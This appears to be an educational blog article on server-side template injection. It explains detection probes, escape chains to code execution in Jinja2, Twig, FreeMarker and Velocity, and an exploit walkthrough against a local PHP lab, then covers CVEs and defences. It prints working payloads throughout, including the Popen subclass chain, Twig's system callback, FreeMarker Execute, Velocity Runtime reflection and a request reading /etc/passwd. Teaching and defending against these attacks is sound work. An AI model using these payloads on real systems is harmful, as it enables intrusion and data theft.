Server-side template injection is the variant of remote code execution where the sink is not a shell, not the language's eval, but a template engine that was meant to render values into HTML and is instead being asked to render attacker-supplied code. The probe is famous: a payload of {{7*7}} that comes back rendered as 49 is the moment the engine has told you, unprompted, that it is willing to evaluate expressions on your behalf. Everything after that is engine-specific plumbing to reach the host runtime.
This is the variant deep dive that sits under the remote code execution practitioner guide. I cover what SSTI actually is (and how it differs from XSS-through-a-template), the polyglot probes that fingerprint the engine, the escape chains that turn {{7*7}} into Python or Java code execution in Jinja2, Twig, FreeMarker, and Velocity, a working exploit against the rce-basic lab's mini engine, the real-world CVEs worth studying, and the defences that actually close the class.
TL;DR
Server-side template injection happens when user input becomes the template string itself, not the values that the engine substitutes into a safe template. Template engines are expression evaluators by design: they exist to parse {{ expr }} or ${expr} and run that expression in the host language. When the attacker controls the template text, they control which expressions get evaluated. The detection probe {{7*7}} returning 49 proves Jinja2, Twig, or a similar dual-brace engine; ${7*7} proves FreeMarker, Velocity, or Spring EL. From 49 to RCE is a short walk: Jinja2 reaches subprocess.Popen through __subclasses__, Twig 1.x reaches PHP system through _self.env, FreeMarker reaches Runtime.exec through the Execute built-in, Velocity reaches it through reflection on Runtime. The defence is to refuse user-controlled template strings entirely: load templates from disk, parameterise the context dictionary, and treat sandboxed environments as third-layer defence behind that.
What SSTI is, and what it is not
A template engine has two inputs: a template string (mostly static text with a few expression slots) and a context dictionary (the values to substitute into those slots). The engine reads the template, evaluates each expression against the context, and emits the output. In normal use the template is a file the developer wrote and the context dictionary is request data.
SSTI happens when the template string comes from user input. Not the values inside the template, the template itself. That distinction matters because the safe version of "user input in a template" is well-understood and not a vulnerability:
# Safe: user input is data in the context dictionary
template = env.get_template("hello.html")
return template.render(name=request.args["name"])The engine knows name is a string. It escapes it for HTML if autoescape is on, and even if it is not, the worst that happens is reflected XSS. The attacker controls a value that the engine treats as a value.
The vulnerable version is the same call site with the template string sourced from the request:
# Vulnerable: user input IS the template
template = env.from_string(request.args["tpl"])
return template.render()Now the engine treats the user's string as template syntax. Any {{ ... }} block inside it gets evaluated. The attacker controls expressions, not values.
The most common confusion is with XSS-through-a-template. That bug is "the engine rendered an attacker-controlled string into HTML without escaping", and the fix is autoescape. SSTI is the layer below: the attacker bypassed the rendering stage entirely by writing template code, not data. Autoescape does not help, because the malicious input never reached the escape function. It was code by the time the engine saw it.
The detection probe
A few characters of arithmetic are enough to distinguish a template engine from a literal echo, and to fingerprint which engine is on the other side. Send an expression with an unambiguous result; see what comes back.
The classic four:
{{7*7}}rendered as49proves Jinja2, Twig, Liquid, Nunjucks, or any of the dual-brace family.${7*7}rendered as49proves FreeMarker, Velocity (with${}enabled), Spring EL, or JSP EL.<%= 7*7 %>rendered as49proves ERB (Ruby) or any of the JSP-style scriptlet engines.#{7*7}rendered as49is most often Ruby string interpolation reaching the template, or sometimes Pug / Slim with embedded expressions.
Polyglot probes layer the syntaxes to fingerprint engines that share a brace family. {{7*'7'}} is a useful one: Jinja2 returns 7777777 (Python string repetition), Twig returns 49 (numeric coercion). The detection is rarely the hard part; the engine usually tells you which one it is within the first two probes.
Per-engine escape chains
The {{7*7}} to RCE walk is engine-specific because each engine exposes the host runtime through a different chain of internal APIs. The patterns below are the canonical paths I reach for first; researchers have catalogued many more.
Jinja2 (Python)
Jinja2 evaluates Python expressions inside {{ ... }}. The expressions cannot import modules directly, but Python's object model leaks the entire class hierarchy through any object's __class__ attribute. Walking from a string literal to object, then to every loaded subclass, eventually reaches something with a useful constructor or method.
The textbook chain begins with the class walk:
{{ ''.__class__.__mro__[1].__subclasses__() }}
''.__class__ is str, __mro__[1] is object, __subclasses__() returns every class loaded into the interpreter (several hundred on a typical Flask process). Pick one with subprocess.Popen or any file-write primitive accessible through it, then call it by index:
{{ ''.__class__.__mro__[1].__subclasses__()[<index>]('id', shell=True, stdout=-1).communicate() }}
The index varies by Python version. Researchers cycle through candidates until one returns process output. Other paths reach os via __globals__ of any imported function, or via lipsum.__globals__['os'] on Flask. Real-world Flask SSTI has been a steady stream of disclosures since the 2015 PortSwigger research that named the class.
Twig (PHP)
Twig 1.x exposed the rendering environment to templates through the _self variable, which gave any template direct access to the engine internals. The canonical Twig 1 RCE registers system as an undefined-filter callback, then calls a filter to fire it:
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}
registerUndefinedFilterCallback makes the engine call system whenever an unknown filter name appears. getFilter("id") then looks up a filter named id, which does not exist, so the engine calls system("id") as the fallback. The output of id ends up in the rendered template.
Twig 2 and later removed _self access to the environment, closing that exact chain. SSTI in modern Twig requires a deliberate dangerous extension being loaded, a sandbox bypass (those exist), or the developer having exposed an evaluator helper to templates.
FreeMarker (Java)
FreeMarker ships with a built-in named Execute that runs shell commands. It is documented and intentional. Unless the deployment explicitly disables it through Configuration.setNewBuiltinClassResolver, it is reachable from any template:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
?new() instantiates the named class. Execute implements TemplateMethodModel, so calling it with an argument runs the argument as a shell command. The output gets rendered into the template body.
This is one of the hardest SSTI primitives to defend by reflex, because the dangerous behaviour is part of the engine's public surface. The hardening step is to install a restrictive TemplateClassResolver that refuses to resolve freemarker.template.utility.Execute and its siblings.
Velocity (Java)
Velocity has no equivalent of FreeMarker's Execute built-in, but it allows arbitrary method calls on objects accessible from the template context. Reflection on java.lang.Runtime reaches the same outcome:
#set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
The chain: take any object, get its Class, use Class.forName to load Runtime, invoke getRuntime reflectively to get the singleton, call exec("id"). Velocity sandboxing through SecureUberspector is opt-in; deployments that did not opt in are vulnerable by default.
Walking the lab
The rce-basic lab in the techearl-labs repo ships a hand-rolled mini template engine at /template.php. It is not Jinja2 or Twig, but it demonstrates the same logical sink: the template string is evaluated, and user input controls it. The implementation is naive preg_replace_callback plus eval:
function render($tpl) {
return preg_replace_callback('/\{\{(.+?)\}\}/', function ($m) {
return eval('return ' . trim($m[1]) . ';');
}, $tpl);
}
echo render($_POST['tpl']);Boot the lab:
docker compose up rce-basicIt listens on http://localhost:8085. The probe and the exploit:
POST /template.php
Content-Type: application/x-www-form-urlencoded
tpl={{ 7*7 }}
Returns 49. Engine confirmed (well, in this case the engine is fifteen lines of PHP, but the shape is what matters).
POST /template.php
Content-Type: application/x-www-form-urlencoded
tpl={{ system("id") }}
Returns uid=33(www-data) gid=33(www-data) groups=33(www-data). The eval inside render evaluates the PHP expression system("id"), which runs id through the system shell and returns its output. The same payload shape, with engine-specific syntax, would work against any of the real engines above.
Other useful payloads:
tpl={{ file_get_contents("/etc/passwd") }}
tpl=hello {{ `id` }}
The last one uses PHP's backtick operator, a shell_exec alias, so the chain is request to template to eval to shell.
Real-world incidents
Three SSTI-shaped CVEs that map cleanly onto the patterns above. Pull the current advisory before quoting per-version specifics; the lessons below are what I want to remember from each.
- Atlassian Confluence OGNL injection, CVE-2022-26134 (June 2022). Confluence Server and Data Center before the patched releases evaluated OGNL expressions inside the request URI. A request like
/${@java.lang.Runtime@getRuntime().exec("id")}/triggered evaluation as part of URL routing. Unauthenticated, single-request RCE, exploited in the wild before the patch shipped. OGNL is a Java expression language in the same family as Velocity's; the underlying pattern (user string reaches an expression evaluator wired toRuntime.exec) is identical. - Apache Velocity Engine, CVE-2020-13936. Velocity Engine versions 1.5 through 2.2 let a template author with edit access bypass the secure-uberspector hardening by chaining reflection through accessible context objects, reaching
Runtime.execfrom inside a sandboxed render. On deployments where templates were sourced from a CMS field, a CI configuration value, or any path an attacker could write to, this collapsed to single-request RCE through the samegetClass().forName("java.lang.Runtime")reflection walk shown above. - Flask / Jinja2 SSTI in the wild. Jinja2 itself has not had a CVE for being a template engine that evaluates expressions; that is the documented behaviour. The disclosures are against applications built on Flask that exposed
render_template_stringorEnvironment.from_stringwith user-controlled input. PortSwigger's SSTI research catalogues the recurring pattern: a "preview" feature, an admin-editable email template, or a CMS shortcode handler where the template string was sourced from a database row an attacker could write to.
The fix
The framing that closes SSTI is the one that applies to every variant of RCE: do not let user input cross into something that parses bytes as code. For template engines, that means refusing to make the template string user-controlled, ever.
Refuse user-controlled templates
Grep the codebase for every "render a string" API and audit each call site:
- Jinja2:
Environment.from_string,render_template_string. - Twig:
createTemplate,Twig\Environment::createTemplate. - FreeMarker:
new Template("name", new StringReader(userInput), cfg). - Velocity:
Velocity.evaluate(context, writer, "logTag", userInput). - Handlebars:
Handlebars.compile(userInput).
If the template string at any of those call sites is, or could be, user-controlled, that is your SSTI. Convert the call to a file-loaded template with a parameterised context dictionary. The user supplies values that go into the dictionary; the template is something the developer wrote and shipped. The exception is rare and deliberate: a deployment that exists specifically to render attacker templates, like an online template playground. Those need the second layer.
Use the engine's sandbox (and do not trust it)
Every major template engine ships a sandboxed mode that restricts which methods, attributes, and built-ins are reachable from templates:
- Jinja2 has
jinja2.sandbox.SandboxedEnvironment, which blocks access to__class__,__mro__,__subclasses__, and other introspection attributes that fuel the Python escape chain. - Twig has the sandbox extension, configurable with allowed tags, filters, methods, and properties per template.
- FreeMarker has the
TemplateClassResolvermechanism, set throughConfiguration.setNewBuiltinClassResolver. The recommended hardening refuses to resolvefreemarker.template.utility.Executeandfreemarker.template.utility.ObjectConstructor. - Velocity has
SecureUberspector, which strips reflective access from the introspection layer.
The sandboxes work as advertised against routine payloads. They have all had bypasses. The right framing is that the sandbox is the third layer behind "do not render attacker templates" and "if you must, isolate the worker that runs it".
Containment for the case the bug is reached
If the sandbox is bypassed and the attacker reaches Runtime.exec or subprocess.Popen, what they get is bounded by what the process can do. Unprivileged user, dropped capabilities, read-only root filesystem, seccomp blocking execve from the renderer, network egress allow-listed to the application's actual upstreams. Each layer makes a successful exploit less useful when one fails. The full containment story is in the OS command injection deep dive; it applies here unchanged.
Frequently asked questions
Where to go next
This article is the deep dive on SSTI specifically. The variants and the wider map:
- Up to the remote code execution practitioner guide for the full taxonomy: command injection, argument injection, SSTI, and direct eval.
- Across to OS command injection for the classic
shell_execsink and the argv-array fix. - Across to argument injection for the variant that gets through
escapeshellargby abusing the called binary's own flag parser. - Across to eval injection for the dumbest version of the bug: user input handed straight to the language runtime.
- Back to the web application security vulnerabilities taxonomy for the hub.
The recurring lesson is the one I keep writing about. Every place untrusted input crosses into something that parses bytes as code is a sink. For SSTI that something is a template engine's expression evaluator. The only reliable defence is to refuse the crossing: keep templates as files the developer wrote, keep user input as values in a context dictionary, and assume any "render a string from the request" API is an RCE primitive waiting for a vector.
Sources
Authoritative references this article was fact-checked against.
- PortSwigger, Server-side template injectionportswigger.net
- PortSwigger, Server-side template injection (Web Academy)portswigger.net
- OWASP, Server-side template injectionowasp.org





